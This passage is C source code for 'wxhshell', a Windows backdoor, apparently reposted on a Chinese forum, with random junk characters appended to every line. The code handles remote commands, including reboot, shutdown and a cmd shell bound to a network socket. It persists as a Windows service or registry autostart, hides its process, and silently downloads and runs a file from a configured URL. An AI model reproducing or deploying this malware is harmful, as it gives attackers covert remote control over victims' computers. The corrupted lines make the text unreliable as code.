  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {-63/z  
  } TQ1WVq }*  
  else { H.O(*Q=  
[H"#7t.V-~  
    switch(cmd[0]) { )Z@-DA*Q-  
  g>7Y~_}  
  // 帮助 {lzG*4?  
  case '?': { _NdLcpBT?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OalP1Gy  
    break; 2+9 2Q_+  
  }  D\T!4q'Q  
  // 安装 bn 4 &O  
  case 'i': { 8]0:1 {@  
    if(Install()) qGPb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %bX0 mN  
    else MdhT!?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R/<=mZ  
    break; $)e:8jS=  
    }  td(M#a-  
  // 卸载 VKLU0*2R  
  case 'r': { VZA3IbK}  
    if(Uninstall()) BSp$F WvT?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q)Dwq?  
    else +~|AT+|iI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n*qN 29sx  
    break; abY0)t  
    } cvAtwQ'  
  // 显示 wxhshell 所在路径 }w!ps{*  
  case 'p': { ":d*dl  
    char svExeFile[MAX_PATH]; j/<??v4F4  
    strcpy(svExeFile,"\n\r"); uJ'9R`E ]1  
      strcat(svExeFile,ExeFile); A1,4kqmE  
        send(wsh,svExeFile,strlen(svExeFile),0); B$`lY DqaG  
    break; fEu9Jk  
    } +>3]%i- \  
  // 重启 It 2UfW  
  case 'b': { qZ G-Lh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,p,Du F  
    if(Boot(REBOOT)) U=o Z.\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a0zG(7.D  
    else { NR/-m7#-  
    closesocket(wsh); Xn7 [n  
    ExitThread(0); +6%7C C6  
    } l6B.6 '4)w  
    break; T~Yg5J  
    } Cals?u#U=  
  // 关机 B {i&~k  
  case 'd': { Tj,Nmb>Q7'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g+Ph6W  
    if(Boot(SHUTDOWN)) 6dT|;koWbm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2_olT_#  
    else { :2q ?>\  
    closesocket(wsh); [w%#<5h  
    ExitThread(0); W:ixzpQ  
    } pa] TeH  
    break; -v*x V;[  
    } \FI^ Vk  
  // 获取shell ^~I @ spR4  
  case 's': { c=t*I0-OVS  
    CmdShell(wsh); 8D~Dd!~P  
    closesocket(wsh); &y3B)#dIJ  
    ExitThread(0);  $o+&Y5:  
    break; ~&[u]u[  
  } px&=((Z7>  
  // 退出 H*qD: N  
  case 'x': { gO{W#%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "X?LAo  
    CloseIt(wsh); Pw #2<>  
    break; M-91 JOt~  
    } ~M[>m~8  
  // 离开 ],V kp  
  case 'q': { ag/u8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OX,F09.C  
    closesocket(wsh); &@'V\5G  
    WSACleanup(); v=+k"gm6  
    exit(1); )K.R\]XR  
    break; CI1m5g [P  
        } S^g]:Xh&  
  } Fr/QW7B5  
  } 2 TCRS#z  
5fxbA2\  
  // 提示信息 $WD +Q@6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?hSha)1:  
} @5*xw1B  
  } w2<*$~C]  
4O Zy&,  
  return; &x/k^p=  
} Cs;<'[_?YO  
NQ3|\<Wt  
// shell模块句柄 i~AJ.@ #  
int CmdShell(SOCKET sock) w\v&3T   
{ I_L;T  
STARTUPINFO si; 'qlxAYw<f  
ZeroMemory(&si,sizeof(si)); j) <[j&OWw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1(F'~i|5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iDvpXn  
PROCESS_INFORMATION ProcessInfo; h&'J+b  
char cmdline[]="cmd"; |=OpzCs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @>9A$w$H|a  
  return 0; v*gLNB,ZH  
} H.;yLL=  
c( 8W8R  
// 自身启动模式 cl#OvQ  
int StartFromService(void) jM[f[  
{ qSCTFJ0  
typedef struct K/A ? ]y  
{ !%)L&W_  
  DWORD ExitStatus; ]LY^9eK)>{  
  DWORD PebBaseAddress; V'$oTZ`  
  DWORD AffinityMask; m4\g o  
  DWORD BasePriority; oYGUjI  
  ULONG UniqueProcessId; ;C6O3@Q  
  ULONG InheritedFromUniqueProcessId; IM2/(N.%  
}   PROCESS_BASIC_INFORMATION; t"#lnG!G  
Fj48quW1\P  
PROCNTQSIP NtQueryInformationProcess; |<7i|J  
>T$7{ ~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3# :EK M~!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <X9T-b"$h  
dR%q1Y&`  
  HANDLE             hProcess; G:){^Z?  
  PROCESS_BASIC_INFORMATION pbi; w-8)YJ Y  
-{r!M(47  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f>b!-|  
  if(NULL == hInst ) return 0; Ny[s+2?  
(#lm#?<)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fLc!Sn.Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8:BQHYeJK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oO}>i0ax*  
X$ejy/+.  
  if (!NtQueryInformationProcess) return 0; s:G [Em1  
gx&\Kw6HM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N_*u5mfQX  
  if(!hProcess) return 0; TosPk(o(  
la1D2 lM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MH2OqiCI  
<m:4g ,6  
  CloseHandle(hProcess); >J?jr&i  
sL;z"N@PK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SIJ# ?0,  
if(hProcess==NULL) return 0; V&$  J;  
t P At?  
HMODULE hMod; G<Th<JF)Q  
char procName[255]; k^~@9F5k  
unsigned long cbNeeded; gA|!$ EAM  
~&vA_/M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s-Q7uohK  
cG<Q`(5~  
  CloseHandle(hProcess); H{&a)!Ms  
m.|qVN  
if(strstr(procName,"services")) return 1; // 以服务启动 +YkmLD  
v_[)FN"]Y.  
  return 0; // 注册表启动 F?!};~$=Z  
} fB@K'JQG  
_?*rtDzIM  
// 主模块 3/ yt*cr  
int StartWxhshell(LPSTR lpCmdLine) -DbH6u3  
{ GC,vQ\  
  SOCKET wsl; V_7 Y1GD  
BOOL val=TRUE; zLE>kK  
  int port=0; AD0ptHUBa  
  struct sockaddr_in door; 1 yxZ  
X=-gAutfE=  
  if(wscfg.ws_autoins) Install(); ^M[-K`c}  
Y8{T.\%\+  
port=atoi(lpCmdLine); >}xAg7\^  
w50.gr7  
if(port<=0) port=wscfg.ws_port; OYQXi  
?*(r1grHl  
  WSADATA data; ptnMCF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sj?`7kg  
A8CIP:Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V!jK3vc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _3-RoA'UZr  
  door.sin_family = AF_INET; 5(mCBH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .`i'gPLkn2  
  door.sin_port = htons(port); 7<Z~\3x  
g]oc(RM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $X{B* WF  
closesocket(wsl); nph7&[xQI  
return 1; :e5:\|5*5  
} z_)OWWdN  
H-nFsJ(R!c  
  if(listen(wsl,2) == INVALID_SOCKET) { ^!-E`<jW8  
closesocket(wsl); 7TMDZ*  
return 1; UeutFNp  
} e3oYy#QNk  
  Wxhshell(wsl); G!> iqG  
  WSACleanup(); /\oyPD`((  
,E n(gm  
return 0; ZQgxrZx3  
tk] _QX %  
} GgZEg ?@  
>b/k|?xP  
// 以NT服务方式启动 `2Z4#$.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uM}dZp 1  
{ oX=*MEfX  
DWORD   status = 0; v#T?YK  
  DWORD   specificError = 0xfffffff; c1Fru  
mfp`Iy"}+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~{3o(gzl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Wfi:wCqZG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2<\yky  
  serviceStatus.dwWin32ExitCode     = 0; Ah8^^h|TPJ  
  serviceStatus.dwServiceSpecificExitCode = 0; 0k. #  
  serviceStatus.dwCheckPoint       = 0; 7>c 0V&  
  serviceStatus.dwWaitHint       = 0; tq4"Q BIKh  
w<8O=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -E,{r[Sp  
  if (hServiceStatusHandle==0) return; 0& SrKn  
r7wx?{~ 28  
status = GetLastError(); wXIe5  
  if (status!=NO_ERROR) 2s]]!{Z#  
{ f0HV*%8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m;$F@JJ  
    serviceStatus.dwCheckPoint       = 0; k=d%.kg  
    serviceStatus.dwWaitHint       = 0; 6@ (k8<3  
    serviceStatus.dwWin32ExitCode     = status; nEZ-h7lzl(  
    serviceStatus.dwServiceSpecificExitCode = specificError; q:D0$YY0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o q'J*6r  
    return; 5Qm.ECXV  
  } y:^>(l#;  
w;h\Y+Myyk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p8}5x 2F  
  serviceStatus.dwCheckPoint       = 0; f;_K}23  
  serviceStatus.dwWaitHint       = 0; 1,*Z_ F=y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1Q2k>q8  
} ??esB&4?  
y[ rB"  
// 处理NT服务事件,比如:启动、停止 X<@y*?D9D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cr=FMfhB  
{ )sz 2 9  
switch(fdwControl) 66Cj=n5  
{ L3h xe]mr  
case SERVICE_CONTROL_STOP: =^%Pwkz  
  serviceStatus.dwWin32ExitCode = 0; hjm .Ath  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (Db*.kd8,  
  serviceStatus.dwCheckPoint   = 0; VUg~[  
  serviceStatus.dwWaitHint     = 0; d9Ow 2KrC  
  { qkR,<"C|`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y>pq*i  
  } FclSuQWti  
  return; yg]nS<K~4  
case SERVICE_CONTROL_PAUSE: [gg 7Z|Hu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 51FK~ 5  
  break; -+S~1`0  
case SERVICE_CONTROL_CONTINUE: j8ohzX[Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ws}kb@5  
  break; q[,R%6&'  
case SERVICE_CONTROL_INTERROGATE: f4\p1MYQ  
  break; *M\i4FO8  
}; 88+\mX;A#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4- ?`#  
} ;^H+ |&$>  
a?Qcf;o  
// 标准应用程序主函数 O ]4 x;`)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :R_#'i  
{ +ouy]b0`t  
~"4vd 3  
// 获取操作系统版本 z6>ZV6(d2^  
OsIsNt=GetOsVer(); #t9=qR~"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rc{[\1 -N  
l4BO@   
  // 从命令行安装 5fDtSsW  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5l7L@Ey  
LZAj4|~,m  
  // 下载执行文件 vM>`CZ  
if(wscfg.ws_downexe) { ~D-OL* 2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /IQ-|Qkg  
  WinExec(wscfg.ws_filenam,SW_HIDE); `b'|FKc]  
} F~0%j}ve  
N~K)0RETn  
if(!OsIsNt) { YC,.Y{oY{  
// 如果时win9x,隐藏进程并且设置为注册表启动 tEs[zo+DR-  
HideProc(); =g>7|?6>=  
StartWxhshell(lpCmdLine); @W5hrei  
} a^)4q\E  
else :tS>D5dz(  
  if(StartFromService()) zZjLt1  
  // 以服务方式启动 u g$\&rM>  
  StartServiceCtrlDispatcher(DispatchTable); Z=5}17kA  
else YPJx/@Z`  
  // 普通方式启动 uP'w.nA&2  
  StartWxhshell(lpCmdLine); -~GJ; Uw  
%K f . F  
return 0; Hn'2'Vu  
}
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只看该作者 1 发表于: 2006-10-10
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